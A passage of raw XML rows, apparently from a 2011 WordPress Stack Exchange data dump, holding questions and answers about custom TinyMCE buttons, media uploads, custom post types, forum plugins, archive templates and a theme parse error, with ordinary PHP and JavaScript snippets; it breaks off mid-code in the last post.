  <row Id="20529" PostTypeId="1" CreationDate="2011-06-20T19:02:06.750" Score="1" ViewCount="149" Body="&lt;p&gt;I'm using the following code to produce a different TinyMCE bar to the default WordPress setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('wp_tiny_mce')) {&#xA;&#xA;    add_filter(&quot;mce_external_plugins&quot;, &quot;add_myplugin_tinymce_plugin&quot;);&#xA;    add_filter('mce_buttons', 'register_myplugin_button');&#xA;&#xA;    add_filter('teeny_mce_before_init', create_function('$a', '&#xA;      $a[&quot;theme&quot;] = &quot;advanced&quot;;&#xA;      $a[&quot;skin&quot;] = &quot;wp_theme&quot;;&#xA;      $a[&quot;height&quot;] = &quot;75&quot;;&#xA;      $a[&quot;width&quot;] = &quot;800&quot;;&#xA;      $a[&quot;onpageload&quot;] = &quot;&quot;;&#xA;      $a[&quot;mode&quot;] = &quot;exact&quot;;&#xA;      $a[&quot;elements&quot;] = &quot;elm1, elm2&quot;;&#xA;      $a[&quot;editor_selector&quot;] = &quot;mceEditor&quot;;&#xA;      $a[&quot;plugins&quot;] = &quot;safari,inlinepopups,spellchecker&quot;;&#xA;&#xA;      $a[&quot;forced_root_block&quot;] = false;&#xA;      $a[&quot;force_br_newlines&quot;] = true;&#xA;      $a[&quot;force_p_newlines&quot;] = false;&#xA;      $a[&quot;convert_newlines_to_brs&quot;] = true;&#xA;&#xA;      return $a;'));&#xA;&#xA;    wp_tiny_mce(true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me how to work a basic custom button in there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I need is a straightforward button which prints [ph_min] into the editor area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the following filters to no avail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_tcustom_button($buttons)&#xA;{&#xA;    array_push($buttons, &quot;|&quot;, &quot;highlight&quot;);&#xA;    return $buttons;&#xA;}&#xA;&#xA;function add_tcustom_tinymce_plugin($plugin_array)&#xA;{&#xA;    $plugin_array['highlight'] = WP_PLUGIN_URL . '/sf-tinyMCE-custom-buttons/mce/min_max_buttons/editor_plugin.js';&#xA;    return $plugin_array;&#xA;}&#xA;&#xA;add_filter(&quot;mce_external_plugins&quot;, &quot;add_tcustom_tinymce_plugin&quot;);&#xA;add_filter('mce_buttons', 'register_tcustom_button');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way of doing this, or will I have to use write a manual TinyMCE init which isn't supported by WP?&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-08-20T21:32:46.537" Title="Adding TinyMCE custom buttons when using teeny_mce_before_init" Tags="&lt;tinymce&gt;&lt;buttons&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="20530" PostTypeId="1" CreationDate="2011-06-20T19:06:25.420" Score="1" ViewCount="119" Body="&lt;p&gt;I'm trying to use the Thickbox file upload dialogue with a custom field to allow the user to upload an mp3. What I want to do is to grab the URL of the uploaded mp3 and save it as postmeta (saving the data when I've got it isn't a problem, but getting what I need is!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the code to make this work with an image&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; jQuery(function($){&#xA;&#xA;var formfield = null;&#xA;&#xA;$('#rps_upload_mp3').click(function() {&#xA;    $('html').addClass('Image');&#xA;    formfield = $('#rps_mp3_url').attr('name');&#xA;    tb_show('', 'media-upload.php?type=image&amp;amp;TB_iframe=true');&#xA;    return false;&#xA;});&#xA;&#xA;window.original_send_to_editor = window.send_to_editor;&#xA;window.send_to_editor = function(html) {&#xA;&#xA;    var fileurl;&#xA;&#xA;    if( formfield = !null ) {&#xA;&#xA;        fileurl = $('img', html).attr('src');&#xA;        $('#rps_mp3_url').val(fileurl);&#xA;        tb_remove();&#xA;&#xA;        $('html').removeClass('Image');&#xA;        formfield = null;&#xA;&#xA;    } else {&#xA;&#xA;        window.original_send_to_editor(html);&#xA;&#xA;    }&#xA;&#xA;}&#xA;&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously the line that reads &lt;code&gt;fileurl = $('img', html).attr('src');&lt;/code&gt; will only get the &lt;code&gt;src&lt;/code&gt; of an image, not an mp3, but I can't figure out where the script is grabbing the  source of this image from and I don't know how to target the uploaded mp3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-06-20T19:06:25.420" Title="Using media-upload.php to upload mp3 via custom fields" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;media-upload&gt;&lt;thickbox&gt;" FavoriteCount="2" />
  <row Id="20531" PostTypeId="2" ParentId="20529" CreationDate="2011-06-20T19:32:28.660" Score="0" ViewCount="" Body="&lt;p&gt;I believe that you have already registered your shortcode. Now what we need to do is to initiate the Button. Once the shortcode is registered [ph_min]&#xA; let's check if user can use rich editing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_highlight_button() {&#xA;   if ( ! current_user_can('edit_posts') &amp;amp;&amp;amp; ! current_user_can('edit_pages') )&#xA;     return;&#xA;   if ( get_user_option('rich_editing') == 'true') {&#xA;     add_filter('mce_external_plugins', 'add_tcustom_tinymce_plugin');&#xA;     add_filter('mce_buttons', 'register_tcustom_button');&#xA;   }&#xA;}&#xA;&#xA;add_action('init', 'add_highlight_button');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now lets register the button&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_tcustom_button( $buttons ) {&#xA; array_push( $buttons, &quot;|&quot;, &quot;highlight&quot; );&#xA; return $buttons;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's register TinyMCE plugin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_tcustom_tinymce_plugin( $plugin_array ) {&#xA;   $plugin_array['mylink'] = get_bloginfo( 'template_url' ) . '/script/mybuttons.js';&#xA;   return $plugin_array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is for the JS file called from the previous function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function() {&#xA;    tinymce.create('tinymce.plugins.highlight', {&#xA;        init : function(ed, url) {&#xA;            ed.addButton('highlight', {&#xA;                title : 'Highlight',&#xA;                image : url+'/yourlink.png',&#xA;                onclick : function() {&#xA;                     ed.selection.setContent('[ph_min]');&#xA;&#xA;                }&#xA;            });&#xA;        },&#xA;        createControl : function(n, cm) {&#xA;            return null;&#xA;        },&#xA;    });&#xA;    tinymce.PluginManager.add('highlight', tinymce.plugins.highlight);&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's about it.&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-20T19:32:28.660" CommentCount="1" />
  <row Id="20532" PostTypeId="2" ParentId="15769" CreationDate="2011-06-20T19:51:45.917" Score="0" ViewCount="" Body="&lt;p&gt;Well, if you are in Wordpress to begin with, I don't think it makes a lot of sense to just embed a plain html form within it.  I use the plugin &quot;wordpress-form-manager&quot; for a number of forms because it deals with sanitizing data and with validation.  It isn't merely a contact form, you build templates - in php - that can do whatever you want and display the results.  It also stores the form data in a table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like many of the available form plugins are &quot;contact-form-centric&quot; rather than the usual generic form &quot;collect data - do something with it via programming - show results&quot;.  Perhaps the blog heritage of Wordpress encourages that.  I had to look for a while to find a (free) plugin that would let me mess with the form data - most of them are just set up to email you the form input. &lt;/p&gt;&#xA;" OwnerUserId="3717" LastActivityDate="2011-06-20T19:51:45.917" />
  <row Id="20533" PostTypeId="1" AcceptedAnswerId="20536" CreationDate="2011-06-20T20:01:32.293" Score="5" ViewCount="121" Body="&lt;p&gt;I'm currently in the process of redeveloping my website. I've decided to use WordPress as its CMS, rather than coding everything from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a fishkeeping website, consisting of species profiles; plant profiles; fossil species profiles; articles; news posts and blog posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original idea was to create plugins for each of those (excluding articles/news posts/blog posts as I can just add post categories), with each plugin creating a new database table and adding the relevant admin menus (create, view/amend).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've stumbled across custom post types today, and I'm now wondering if they'll do the job for me? It would be ideal if they could - save me a lot of time and offer some reasonably useful functionality that I probably won't bother to code if I do it the other way (time constraints).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The species profile is the most complex aspect of the site. It will have ~20 fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few of the fields will need to be lookup fields, i.e. category which will allow the user to select from a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few of the fields will need to be array values, i.e. one textbox called &quot;ph_min&quot; and one called &quot;ph_max&quot; which are stored in the DB as a serialized array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fields following these array fields will require a custom TinyMCE button to insert BBCode such as [ph_min] (this will allow us to write: &quot;keep these fish at [temp_min] if possible, but don't use water above [temp_max]&quot; whilst having a conversion button at the top of each profile).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are Custom Post Types flexible enough to do all of the above for me, or should I just take it back to basics and write my own admin pages and database tables?&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-06-20T20:53:27.793" Title="Custom Post Types, or completely custom?" Tags="&lt;custom-post-types&gt;&lt;database&gt;" AnswerCount="2" />
  <row Id="20534" PostTypeId="1" CreationDate="2011-06-20T09:55:48.033" Score="1" ViewCount="56" Body="&lt;p&gt;I'm doing a wordpress solution with BuddyPress and bbPress, where I need to display the five newest topics on the homepage, as if it was blog-entries, but it seems kind of hard to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm figuring I gotta do something with the activity stream, but it seems like the stream is based on the user who is currently logged in, which is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So what should I do?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a nifty plugin that does the&#xA;trick (maybe someone knows a plugin&#xA;I don't know of, as I've already&#xA;tried the bbPress Latest Discussion&#xA;plugin)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hardcode a forum-activity loop&#xA;    into the page-template file, using&#xA;    the is_front_page() function?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a forum-activity hook,&#xA;that display the latest forum topics&#xA;sitewide?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" LastActivityDate="2011-06-20T20:02:01.220" Title="Buddypress with bbpress: Showing latest topics on front page" Tags="&lt;php&gt;&lt;forum&gt;" CommentCount="1" />
  <row Id="20535" PostTypeId="1" AcceptedAnswerId="20538" CreationDate="2011-06-20T20:02:13.937" Score="3" ViewCount="56" Body="&lt;p&gt;This might be an annoying question, since there are &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1132/forum-software-that-integrates-with-a-wordpress-blog-website&quot;&gt;some pretty good answers&lt;/a&gt; to this question, but they are 9 months old, so please but bare with me. I would like to have some input to point me to the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to integrate a simple forum for a Wordpress project. The forum must haves:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simple threads, similar to the WP&#xA;threaded comments system.&lt;/li&gt;&#xA;&lt;li&gt;Ability to display only the forum&#xA;login page as forum front page.&lt;/li&gt;&#xA;&lt;li&gt;Ability to show only the forum the&#xA;user is registered to, or the forum&#xA;the admin assigns the user to. In a&#xA;way the flow is:&lt;br&gt;&#xA;Click on forums page &gt; Login &gt; Browse only one specific forum.&lt;/li&gt;&#xA;&lt;li&gt;Ability to show some info about each&#xA;of the users: phone, email, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ability to register without going to wp-admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is way less then what vBulletin or phpBB or even SimplePress provide, i just need a place for users to chat on specific topics and get in touch. I've tried to use bbPress, as it is as close as it gets to what I wanted, but they don't have the ability to close forums for specific groups of users, so maybe one can point me to the right software of combination of plugins.&#xA;Thanks in advance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-20T20:40:12.480" Title="Wordpress and simple forums" Tags="&lt;forum&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="20536" PostTypeId="2" ParentId="20533" CreationDate="2011-06-20T20:14:08.577" Score="4" ViewCount="" Body="&lt;p&gt;Custom post types are an excellent way for this kind of a job.&#xA;I'd suggest reading the following info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Post Types &lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-use-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;(1)&lt;/a&gt; &lt;a href=&quot;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;(2)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomies &lt;a href=&quot;http://codex.wordpress.org/Taxonomies&quot; rel=&quot;nofollow&quot;&gt;(1)&lt;/a&gt; &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/introducing-wordpress-3-custom-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;(2)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Meta Boxes &lt;a href=&quot;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&quot; rel=&quot;nofollow&quot;&gt;(1)&lt;/a&gt; - I use this class all the time, or &lt;a href=&quot;http://www.billerickson.net/wordpress-metaboxes/&quot; rel=&quot;nofollow&quot;&gt;(2)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are new to Custom post types, an easy way to start would be playing around with &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Types UI&lt;/a&gt; plugin and work your way up.&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-20T20:14:08.577" />
  <row Id="20537" PostTypeId="1" AcceptedAnswerId="20553" CreationDate="2011-06-20T20:39:00.290" Score="1" ViewCount="41" Body="&lt;p&gt;I'm making a theme for a client (first time using Wordpress), and the client would like to have multiple site &quot;descriptions&quot; to be available. The first one as the main description, and the second one as another block of text in the header which can be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to add such functionality to a theme? I can instruct the client to manually edit the &lt;code&gt;.php&lt;/code&gt; files, but I'd like to do something a bit more elegant, like adding an option to the Dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2011-06-21T00:49:42.440" Title="Adding an editable field to template?" Tags="&lt;custom-field&gt;&lt;dashboard&gt;&lt;header&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="20538" PostTypeId="2" ParentId="20535" CreationDate="2011-06-20T20:40:12.480" Score="2" ViewCount="" Body="&lt;p&gt;Have you beta-tested the bbPress Plugin? It &lt;em&gt;should&lt;/em&gt; meet most of these needs.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T20:40:12.480" CommentCount="2" />
  <row Id="20539" PostTypeId="2" ParentId="20533" CreationDate="2011-06-20T20:53:27.793" Score="2" ViewCount="" Body="&lt;p&gt;Like Daniel says, CPT's with taxonomies are definatly the way to go for something like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 custom post type for fish&lt;br&gt;&#xA;with different fish species as taxonomies registered to it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 custom post type for fossils&lt;br&gt;&#xA;again register some fossil types as taxonomies  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 custom post type for plants&lt;br&gt;&#xA;with plant species as taxonomies  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can be really clever and give those CPT's shared taxonomies of something like region, river, ocean.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and finally top it all off with scribus killer &lt;a href=&quot;http://scribu.net/wordpress/query-multiple-taxonomies&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;query by multiple taxonomies plugin&lt;/strong&gt;&lt;/a&gt; for filtering through the returns in search.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-20T20:53:27.793" CommentCount="1" />
  <row Id="20540" PostTypeId="2" ParentId="20537" CreationDate="2011-06-20T20:57:07.910" Score="1" ViewCount="" Body="&lt;p&gt;You could have different &quot;descriptions&quot; as a custom field, and the user could enter the description there.  there could be a custom description for each page/post, if you like.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to write some conditional php in header.php to either display the default site description or the custom one if it exists. Look in the codex for get_post_custom_values() for coding specifics.&lt;/p&gt;&#xA;" OwnerUserId="3717" LastActivityDate="2011-06-20T20:57:07.910" CommentCount="1" />
  <row Id="20541" PostTypeId="2" ParentId="20494" CreationDate="2011-06-20T21:24:02.643" Score="3" ViewCount="" Body="&lt;p&gt;In Additional Settings, use &lt;code&gt;on_sent_ok: &quot;location = 'http://example.com/';&quot;&lt;/code&gt;  to redirect to another page, but as said above, it's not that secure. You can hide the page via robots.txt.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-08-09T19:05:07.697" LastActivityDate="2011-08-09T19:05:07.697" />
  <row Id="20542" PostTypeId="1" AcceptedAnswerId="20556" CreationDate="2011-06-20T21:50:40.430" Score="1" ViewCount="53" Body="&lt;ol&gt;&#xA;&lt;li&gt;What should be taken care of while coding a mobile theme as compared to a simple one?&lt;/li&gt;&#xA;&lt;li&gt;Is there any tutorial available that teaches how to develop a &lt;strong&gt;mobile&lt;/strong&gt; theme from scratch?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-06-21T02:29:05.380" Title="How does a mobile WordPress theme differ from a simple theme?" Tags="&lt;theme-development&gt;&lt;mobile&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="20543" PostTypeId="1" AcceptedAnswerId="20544" CreationDate="2011-06-20T22:06:41.827" Score="4" ViewCount="172" Body="&lt;p&gt;I have a custom post type, called 'job', and I have the following templates in my theme:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;single-job.php (works fine, displays single job as expected)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;archives-job.php (is not recognized?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;archives-current.php (also not&#xA;recognized) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;archives.php (is not&#xA;recognized either?) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;index.php&#xA;(archives page uses this page)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is how I've registered my custom content type in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_jobs' );&#xA;function create_jobs() {&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x('Jobs', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Job', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'Job'),&#xA;    'add_new_item' =&amp;gt; __('Add New Job'),&#xA;    'edit_item' =&amp;gt; __('Edit Job'),&#xA;    'new_item' =&amp;gt; __('New Job'),&#xA;    'view_item' =&amp;gt; __('View Job'),&#xA;    'search_items' =&amp;gt; __('Search Jobs'),&#xA;    'not_found' =&amp;gt;  __('No Jobs found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No Jobs found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; ''&#xA;  );&#xA;&#xA;  $supports = array('title', 'editor', 'custom-fields', 'revisions', 'excerpt');&#xA;&#xA;  register_post_type( 'Job',&#xA;    array(&#xA;      'labels' =&amp;gt; $labels,&#xA;      'public' =&amp;gt; true,&#xA;      'has_archive' =&amp;gt; 'current', &#xA;      'supports' =&amp;gt; $supports&#xA;    )&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i go to the url &lt;a href=&quot;http://mywebsite/wordpress/current/&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite/wordpress/current/&lt;/a&gt;, it displays all of my jobs as expected-- but it is not using ANY of the archive templates, and instead uses index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding of the wordpress documentation was that it would look for archives-(special archive for post type name).php, then archives-(post type).php, then archives.php, then index.php... but it just goes straight to index.php? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did visit the permalinks settings page and clicked save to refresh everything, so I'm not getting 404's, it's just not outputting to the correct templates... did I name them incorrectly? Is there a registration setting I missed when I created my custom post type?&lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2011-06-23T06:57:38.237" Title="Custom Post Type Template - Archive" Tags="&lt;custom-post-types&gt;&lt;custom-post-type-archives&gt;" AnswerCount="1" />
  <row Id="20544" PostTypeId="2" ParentId="20543" CreationDate="2011-06-20T22:19:30.573" Score="2" ViewCount="" Body="&lt;p&gt;try &lt;code&gt;'has_archive' =&amp;gt; 'true';&lt;/code&gt; and do the permalink reset before testing! and it should be singular &lt;strong&gt;archive-job.php&lt;/strong&gt; rather than &lt;strong&gt;archives&lt;/strong&gt;-job.php&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-20T22:19:30.573" CommentCount="7" />
  <row Id="20545" PostTypeId="1" CreationDate="2011-06-20T22:39:36.573" Score="1" ViewCount="75" Body="&lt;p&gt;What is the most efficient way to determine which loop I'm in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few plugins that alter the query by hooking into various parts of WP_Query::get_posts(), through the usual suspects, ie 'posts_where', 'posts_join', etc. I don't want to effect every loop on every page though, so right now I'm running a debug_backtrace() and checking for the existence of the main() or query_posts() function as necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has to be a more efficient way to identify the primary loop and sub-loops on each page. Something I keep missing when I pore over the query vars and other aspects of the request, something that's unique to each one. How would you go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="6350" LastActivityDate="2011-08-21T03:32:51.627" Title="Identify which loop you are hooking into; primary or secondary?" Tags="&lt;loop&gt;&lt;hooks&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="20546" PostTypeId="1" CreationDate="2011-06-20T23:12:37.720" Score="1" ViewCount="108" Body="&lt;p&gt;After installing this videozoom theme i'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected T_ENDWHILE in /home/moviesa1/public_html/test99 dot info/wp-content/themes/videozoom/wpzoom_featured_posts.php on line 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my site: &lt;a href=&quot;http://test99.info/&quot; rel=&quot;nofollow&quot;&gt;http://test99.info/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $args = array('showposts' =&amp;gt; $wpzoom_featured_posts_posts, 'orderby' =&amp;gt; 'date', 'order' =&amp;gt; 'DESC');&#xA;   $featType = $wpzoom_featured_type;&#xA;   if ($featType == 'Tag') {&#xA;       $args['tag'] = &quot;$wpzoom_featured_slug&quot;;&#xA;       // Breaking tag slug          }          elseif ($featType == 'Category')          {            $args['cat'] = &quot;$wpzoom_featured_slug&quot;;  // Breaking tag slug          }&#xA;?&amp;gt;  &amp;lt;div id=&quot;featPosts&quot;&amp;gt;      &amp;lt;div id=&quot;featPostsBig&quot;&amp;gt;        &amp;lt;div class=&quot;container&quot;&amp;gt;                      &amp;lt;?php&#xA;       query_posts($args);&#xA;       $i = 0;&#xA;       if (have_posts())&#xA;           :&#xA;?&amp;gt;&amp;lt;?php&#xA;           $AE = new AutoEmbed();&#xA;       // loading the AutoEmbed PHP Class &#xA;?&amp;gt;                            &amp;lt;ul class=&quot;slides&quot;&amp;gt;            &amp;lt;?php&#xA;       while (have_posts())&#xA;           : the_post();&#xA;       update_post_caches($posts);&#xA;       $i++;&#xA;       unset($videocode);&#xA;       $videocode = get_post_meta($post-&amp;gt;ID, 'wpzoom_post_embed_code', true);&#xA;?&amp;gt;            &amp;lt;li class=&quot;slide&quot;&amp;gt;            &amp;lt;?php&#xA;       if ($videocode &amp;amp;&amp;amp; $AE-&amp;gt;parseUrl($videocode)) {&#xA;           $AE-&amp;gt;setParam('wmode', 'transparent');&#xA;           $AE-&amp;gt;setParam('autoplay', 'false');&#xA;           $AE-&amp;gt;setHeight(260);&#xA;           $AE-&amp;gt;setWidth(450);&#xA;?&amp;gt;&amp;lt;div class=&quot;cover&quot;&amp;gt;&amp;lt;?php&#xA;           echo $AE-&amp;gt;getEmbedCode();&#xA;?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;?php&#xA;           } else&#xA;           {&#xA;?&amp;gt;        &amp;lt;?php&#xA;               unset($img);&#xA;               if (current_theme_supports('post-thumbnails') &amp;amp;&amp;amp; has_post_thumbnail()) {&#xA;                   $thumbURL = wp_get_attachment_image_src(get_post_thumbnail_id($post-&amp;gt;ID), '');&#xA;                   $img = $thumbURL[0];&#xA;               } else {&#xA;                   unset($img);&#xA;                   if ($wpzoom_cf_use == 'Yes') {&#xA;                       $img = get_post_meta($post-&amp;gt;ID, $wpzoom_cf_photo, true);&#xA;                   } else {&#xA;                       if (!$img) {&#xA;                           $img = catch_that_image($post-&amp;gt;ID);&#xA;                       }&#xA;                   }&#xA;               }&#xA;               if ($img) {&#xA;?&amp;gt;        &amp;lt;div class=&quot;cover&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php&#xA;                   the_permalink();&#xA;?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php&#xA;                   the_title();&#xA;?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php&#xA;                   bloginfo('template_directory');&#xA;?&amp;gt;/scripts/timthumb.php?src=&amp;lt;?php&#xA;                   echo $img&#xA; ?&amp;gt;&amp;amp;amp;h=275&amp;amp;amp;w=450&amp;amp;amp;zc=1&quot; alt=&quot;&amp;lt;?php&#xA;                   the_title();&#xA;?&amp;gt;&quot; width=&quot;450&quot; height=&quot;275&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;        &amp;lt;?php&#xA;                   } // if an image exists        } // if a video does not exist &#xA;?&amp;gt;        &amp;lt;div class=&quot;postcontent&quot;&amp;gt;          &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php&#xA;                   the_time(&quot;$dateformat&quot;);&#xA;?&amp;gt; / &amp;lt;?php&#xA;                   the_category(', ');&#xA;?&amp;gt; / &amp;lt;?php&#xA;                   the_author_posts_link();&#xA;?&amp;gt;&amp;lt;/p&amp;gt;          &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php&#xA;                   the_permalink()&#xA;?&amp;gt;&quot; title=&quot;&amp;lt;?php&#xA;                   the_title();&#xA;?&amp;gt;&quot;&amp;gt;&amp;lt;?php&#xA;                   the_title();&#xA;?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;          &amp;lt;?php&#xA;                   the_excerpt();&#xA;?&amp;gt;          &amp;lt;p class=&quot;more&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php&#xA;                   the_permalink()&#xA;?&amp;gt;&quot; title=&quot;&amp;lt;?php&#xA;                   the_title();&#xA;?&amp;gt;&quot; rel=&quot;nofollow&quot;&amp;gt;Continue reading &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;?php&#xA;                   edit_post_link(__('Edit this post'), ' | ', '');&#xA;?&amp;gt;&amp;lt;/p&amp;gt;        &amp;lt;/div&amp;gt;        &amp;lt;/li&amp;gt;        &amp;lt;?php&#xA;                   endwhile;&#xA;?&amp;gt;        &amp;lt;/ul&amp;gt;        &amp;lt;?php&#xA;                   endif;&#xA;?&amp;gt;        &amp;lt;div class=&quot;cleaner&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;        &amp;lt;/div&amp;gt;&amp;lt;!-- end .container --&amp;gt;       &amp;lt;/div&amp;gt;&amp;lt;!-- end #featPostsBig --&amp;gt;                    &amp;lt;?php&#xA;                   query_posts($args);&#xA;                   $i = 0;&#xA;                   if (have_posts())&#xA;                       :&#xA;?&amp;gt;      &amp;lt;div id=&quot;featPostsSmall&quot;&amp;gt;                &amp;lt;ul class=&quot;pagination&quot;&amp;gt;          &amp;lt;?php&#xA;                       while (have_posts())&#xA;                           : the_post();&#xA;                   update_post_caches($posts);&#xA;                   $i++;&#xA;?&amp;gt;          &amp;lt;li&amp;lt;?php&#xA;                   if ($i == 6) {&#xA;                       $i = 0;&#xA;                       echo &quot; 